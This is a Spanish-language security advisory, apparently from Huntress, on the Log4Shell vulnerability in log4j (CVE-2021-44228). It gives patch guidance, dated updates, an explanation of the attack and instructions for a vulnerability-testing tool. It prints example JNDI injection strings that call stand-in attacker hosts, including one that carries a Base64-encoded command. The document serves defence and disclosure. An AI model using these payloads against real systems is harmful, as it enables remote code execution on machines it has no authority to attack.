Nuestro equipo está investigando el CVE-2021-44228, una vulnerabilidad crítica que afecta un paquete de registro de Java, log4j, utilizado en una cantidad significativa de software, incluyendo Apache, Apple iCloud, Steam, Minecraft y otros. Huntress está descubriendo activamente los efectos de esta vulnerabilidad y actualizará esta página con frecuencia.
Por el momento, no hemos identificado ningún impacto en The Huntress Security Platform, pero nuestros equipos están revisando diligentemente para garantizar que todas las instancias de nuestro back-end sean seguras, y tomarán las medidas adecuadas según sea necesario.
Si tu organización usa la librería log4j, debes actualizar a log4j 2.17.1 de inmediato. Asegúrate de que tu instancia de Java esté actualizada; sin embargo, vale la pena señalar que esta no es una solución universal. Es posible que debas esperar hasta que tus proveedores lancen actualizaciones de seguridad para sus productos afectados.
El paquete log4j puede venir incluido en software que usas, proporcionado por algún proveedor. En este escenario, lamentablemente, los propios proveedores deberán enviar las actualizaciones de seguridad a sus clientes. Al evaluar tu propio riesgo y modelo de amenazas, considera los componentes del software que usas y, especialmente, lo que pueda ser accesible públicamente.
Tom Lawrence, miembro de la comunidad MSP, confirmó e informó a Huntress que la plataforma de controlador UniFi es vulnerable. Si usas esta tecnología, te recomendamos actualizar a la versión parcheada 6.5.54 lo antes posible.
Actualización n.º 7 - 29/12/2021 @ 12:40 p. m. hora del Este
log4j 2.17.1 fue lanzado para abordar una vulnerabilidad que se descubrió en la versión 2.17.0. Esta versión era vulnerable a un ataque de ejecución arbitraria de código, en el que un atacante con permisos para modificar el archivo de configuración de registro podía construir una configuración maliciosa usando un JDBC Appender con una fuente de datos que hace referencia a un URI JNDI, lo cual puede ejecutar código remoto. Este problema se solucionó al limitar los nombres de fuentes de datos JNDI al protocolo java en log4j2 2.17.1.
Te recomendamos actualizar cualquier instancia de log4j a esta última versión. Para más detalles, visita esta página: https://logging.apache.org/log4j/2.x/.
Actualización n.º 6 - 20/12/2021 @ 12:30 p. m. hora del Este
log4j 2.17.0 ya salió para corregir el DoS CVE-2021-45105, que estaba presente en 2.16.0. Consulta los detalles del lanzamiento aquí: https://logging.apache.org/log4j/2.x/release-notes.html#a2.17.0.
Actualización n.º 5 - 13/12/2021 @ 7:50 p. m. hora del Este
log4j 2.16.0 ya está disponible y ahora deshabilita por completo JNDI de forma predeterminada y elimina el soporte para Message Lookups. Puedes encontrar más detalles del lanzamiento aquí: https://logging.apache.org/log4j/2.x/release-notes.html#a2.16.0
Actualización n.º 4 - 13/12/2021 @ 5:40 p. m. hora del Este
Únete a nosotros el martes 14 de diciembre a la 1:00 p. m. hora del Este para Tradecraft Tuesday. Nos uniremos a nuestro amigo de la industria y cocreador de nuestra herramienta de vulnerabilidad Log4Shell, Jason Slagle, para hablar sobre esta vulnerabilidad y compartir lo que sabemos.
Actualización n.º 2 - 11/12/2021 @ 1:00 a. m. hora del Este
Haz clic aquí para aprender más, y muchas gracias a Jason Slagle y a nuestros propios Caleb Stewart y John Hammond por liderar este esfuerzo.
Actualización n.º 1 - 10/12/2021 @ 5:00 p. m. hora del Este
Estamos empezando a ver un impacto más significativo de esta vulnerabilidad hacia los MSP. Auvik ha expresado públicamente que la biblioteca vulnerable log4j está en uso dentro de sus sistemas, on-premises ConnectWise ha compartido avisos e inquietudes sobre las instalaciones de ConnectWise Manage, y N-able ha confirmado que su RMM y N-Central están afectados.
Estamos investigando el alcance y publicaremos una actualización en nuestro blog en cuanto tengamos novedades.
¿Qué está pasando?
Los atacantes están explotando activamente una vulnerabilidad crítica que afecta un paquete de registro de Java. log4j se usa en una variedad de software popular de distintos fabricantes, incluyendo Apple, Twitter y Steam.
Debido a su gran superficie de ataque y a la gravedad propia de la ejecución remota de código, los investigadores de seguridad están llamando a esto notablemente una vulnerabilidad “shellshock”. Todo lo que los actores de amenazas necesitan para desencadenar un ataque es una línea de texto. No hay un objetivo obvio para esta vulnerabilidad: los hackers están usando un enfoque de disparar a ciegas para causar estragos.
¿A quién afecta?
Millones de aplicaciones y fabricantes usan log4j para el registro. Esto incluye...
Apple
Twitter
Steam
Tesla
Aplicaciones de Apache (por ejemplo, Apache Struts, Solr y Druid)
Redis Desktop Manager (Redis en sí no está afectado)
ElasticSearch
Videojuegos (por ejemplo, Minecraft)
Este recurso comunitario es una lista creciente de software y componentes que se han encontrado vulnerables y afectados.
¿Qué debo hacer?
Si tu organización usa la librería log4j, actualiza a log4j 2.17.1 de inmediato. También debes asegurarte de que tu instancia de Java esté actualizada.
Se lanzó un parche para CVE-2021-44228, pero lamentablemente dependemos de muchos de nuestros proveedores para que publiquen actualizaciones que corrijan por completo la vulnerabilidad.
¿Cómo funciona la vulnerabilidad?
El vector de ataque es extremadamente trivial para los actores de amenazas. Una sola cadena de texto puede hacer que una aplicación se comunique con una ubicación externa si se registra mediante la instancia vulnerable de log4j.
Un actor de amenazas podría incluir texto especial en un encabezado HTTP User-Agent o en una simple solicitud de formulario POST, con el formato habitual:
${jndi:ldap://maliciousexternalhost.com/resource
...donde maliciousexternalhost.com es una instancia controlada por el adversario. La vulnerabilidad de log4j interpreta esto y se comunica con el servidor malicioso mediante la "Java Naming and Directory Interface" (JNDI). El recurso de la primera etapa actúa como trampolín hacia otro endpoint controlado por el atacante, que entrega código Java para ejecutarse en la víctima original.
En última instancia, esto le da al adversario la posibilidad de ejecutar cualquier código que desee en el objetivo: ejecución remota de código.
El investigador de Huntress John Hammond recreó una prueba de concepto de este exploit contra un objetivo muy popular: los servidores del videojuego Minecraft. Al preparar un referente LDAP para el endpoint controlado por el atacante en la primera etapa, un servidor HTTP para entregar el payload de la segunda etapa, y un listener para recibir una respuesta, un solo mensaje de chat dentro del servidor de Minecraft detonaría este payload en las máquinas de todos los demás jugadores conectados al servidor.
Con fines demostrativos, mostramos cómo se abre la inofensiva aplicación de calculadora o cómo se obtiene acceso a una terminal de comandos local, pero ten en cuenta que esto bien podría ejecutar cualquier tipo de código malicioso. Según los controles de acceso y otros elementos de tu postura de seguridad, esto podría derivar en un compromiso futuro, ya sea con mineros de criptomonedas, balizas de Cobalt Strike o ransomware.
Inteligencia de amenazas
El abuso de JNDI aquí se realiza fácilmente con una utilidad pública y accesible, JNDIExploit. El uso de esta herramienta por parte de un actor de amenazas puede ofrecer a los defensores información valiosa al revisar los registros: los comandos ejecutados suelen incluirse en la URL como texto codificado en Base64. Se ven como consultas:
${jndi:ldap://MALICIOUSHOST.COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd
GreyNoise ha estado monitoreando la explotación activa observada en el mundo real desde más de un centenar de servidores al momento de escribir esto. Este recurso incluye direcciones IP y servidores que puedes usar para detectar o prevenir mejor a actores conocidos.
Recientemente también se han descubierto payloads que usan un esquema jndi:dns:// en lugar de LDAP.
El investigador de seguridad Florian Roth ha compartido comandos grep y reglas YARA para detectar la explotación de CVE-2021-44228.
¿Qué está haciendo Huntress?
Hemos creado una herramienta para ayudarte a probar si tus aplicaciones son vulnerables a CVE-2021-44228.
El sitio web generará un identificador único para probar si tu aplicación es vulnerable a Log4Shell (CVE-2021-44228). Una prueba negativa no garantiza que tu aplicación esté parcheada.
Así es como se usa:
Simplemente copia y pega la sintaxis JNDI generada (el bloque de código ${jndi[:]ldap[:]//.... que se muestra en el sitio) en cualquier parte (cuadros de entrada de aplicaciones, campos de formularios de sitios frontend, inicios de sesión como campos de nombre de usuario, o si tienes más conocimientos técnicos, incluso en el User-Agent, X-Forwarded-For u otros encabezados HTTP personalizables)
Ten en cuenta que nuestra plataforma de blog no permite la sintaxis completa, así que omitimos la llave de cierre 😅
Haz clic en el botón "View Connection" después de pegar la sintaxis, para ver si recibió alguna conexión, y verificar la dirección IP detectada y la marca de tiempo, para correlacionarlo con el momento en que probaste algún servicio
Si ves una entrada, se estableció una conexión y la aplicación que probaste es vulnerable
El sitio web funciona generando un identificador único aleatorio para que lo uses al probar campos de entrada. Si un campo de entrada o una aplicación es vulnerable, se conectará a este sitio web mediante LDAP. Nuestro servidor LDAP terminará la conexión de inmediato y la registrará por un breve tiempo. Esta herramienta no ejecutará realmente ningún código en tus sistemas.
Ten en cuenta que esta herramienta está pensada solo para fines de prueba y debe usarse únicamente en sistemas que tengas autorización para probar. Si encuentras alguna vulnerabilidad, sigue las pautas de divulgación responsable.
Por transparencia, ofrecemos acceso al código fuente de esta utilidad, que se puede encontrar aquí.
(Un enorme agradecimiento a Jason Slagle y a nuestros propios Caleb Stewart y John Hammond por liderar este esfuerzo).
